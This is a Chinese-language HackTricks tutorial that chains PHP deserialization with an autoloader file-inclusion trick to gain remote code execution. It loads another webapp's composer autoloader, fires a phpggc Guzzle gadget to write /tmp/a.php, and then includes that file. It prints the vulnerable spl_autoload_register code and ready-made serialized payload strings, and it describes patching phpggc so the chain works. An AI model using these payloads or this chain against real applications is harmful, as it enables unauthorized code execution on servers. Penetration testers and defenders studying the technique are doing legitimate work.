# PHP - 反序列化 + 自动加载类 {{#include ../../banners/hacktricks-training.md}} 首先,您应该检查什么是 [**自动加载类**](https://www.php.net/manual/en/language.oop5.autoload.php)。 ## PHP 反序列化 + spl_autoload_register + LFI/Gadget 我们处于一种情况,发现了一个 **webapp 中的 PHP 反序列化**,并且 **没有** 在 **`phpggc`** 中的库易受攻击的 gadget。然而,在同一个容器中有一个 **不同的 composer webapp,里面有易受攻击的库**。因此,目标是 **加载另一个 webapp 的 composer 加载器** 并利用它 **加载一个 gadget 来利用该库中的 gadget**,该库易受反序列化攻击。 步骤: - 您发现了一个 **反序列化**,并且 **当前应用代码中没有任何 gadget** - 您可以利用 **`spl_autoload_register`** 函数,如下所示,以 **加载任何本地文件,扩展名为 `.php`** - 为此,您使用一个反序列化,其中类的名称将位于 **`$name`** 中。您 **不能在序列化对象的类名中使用 "/" 或 "."**,但是 **代码** 正在 **将** **下划线** ("\_") **替换为斜杠** ("/")。因此,像 `tmp_passwd` 这样的类名将被转换为 `/tmp/passwd.php`,代码将尝试加载它。\ 一个 **gadget 示例** 将是: **`O:10:"tmp_passwd":0:{}`** ```php spl_autoload_register(function ($name) { if (preg_match('/Controller$/', $name)) { $name = "controllers/${name}"; } elseif (preg_match('/Model$/', $name)) { $name = "models/${name}"; } elseif (preg_match('/_/', $name)) { $name = preg_replace('/_/', '/', $name); } $filename = "/${name}.php"; if (file_exists($filename)) { require $filename; } elseif (file_exists(__DIR__ . $filename)) { require __DIR__ . $filename; } }); ``` > [!TIP] > 如果你有一个 **文件上传** 并且可以上传一个 **`.php` 扩展名** 的文件,你可以 **直接利用这个功能** 并获得 RCE。 在我的情况下,我没有这样的东西,但在 **同一个容器** 内有另一个 composer 网页,里面有一个 **易受攻击的 `phpggc` 小工具**。 - 要加载这个其他库,首先你需要 **加载那个其他 web 应用的 composer 加载器**(因为当前应用的加载器无法访问另一个的库)。**知道应用的路径**,你可以很容易地实现这一点:**`O:28:"www_frontend_vendor_autoload":0:{}`**(在我的情况下,composer 加载器在 `/www/frontend/vendor/autoload.php`) - 现在,你可以 **加载** 其他 **应用的 composer 加载器**,所以是时候 **`生成 phpgcc`** **有效载荷** 来使用。在我的情况下,我使用了 **`Guzzle/FW1`**,这让我可以 **在文件系统内写入任何文件**。 - 注意:**生成的小工具没有工作**,为了让它工作,我 **修改** 了那个有效载荷 **`chain.php`** 的 phpggc,并将 **所有属性** 的类 **从私有改为公共**。如果不这样做,反序列化字符串后,创建的对象的属性将没有任何值。 - 现在我们有了 **加载其他应用的 composer 加载器** 的方法,并且有一个 **有效的 phpggc 有效载荷**,但我们需要 **在同一个请求中执行此操作,以便在使用小工具时加载加载器**。为此,我发送了一个序列化数组,包含两个对象,如下所示: - 你可以看到 **首先加载加载器,然后是有效载荷**。 ```php a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}} ``` - 现在,我们可以**创建和写入文件**,但是用户**无法在web服务器的任何文件夹中写入**。因此,如您在有效负载中所见,PHP调用**`system`**并创建了一些**base64**在**`/tmp/a.php`**中。然后,我们可以**重用我们用于LFI的第一种有效负载**来加载另一个web应用程序的composer加载器**以加载生成的`/tmp/a.php`**文件。只需将其添加到反序列化小工具中: ```php a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}} ``` **有效载荷摘要** - **加载同一容器中另一个webapp的composer自动加载** - **加载phpggc小工具**以滥用另一个webapp的库(最初易受反序列化攻击的webapp的库中没有任何小工具) - 该小工具将**在/tmp/a.php中创建一个包含PHP有效载荷**的文件,文件中包含恶意命令(webapp用户无法在任何webapp的任何文件夹中写入) - 我们有效载荷的最后部分将使用**加载生成的php文件**来执行命令 我需要**调用这个反序列化两次**。在我的测试中,第一次创建了`/tmp/a.php`文件但未加载,第二次则正确加载。 {{#include ../../banners/hacktricks-training.md}}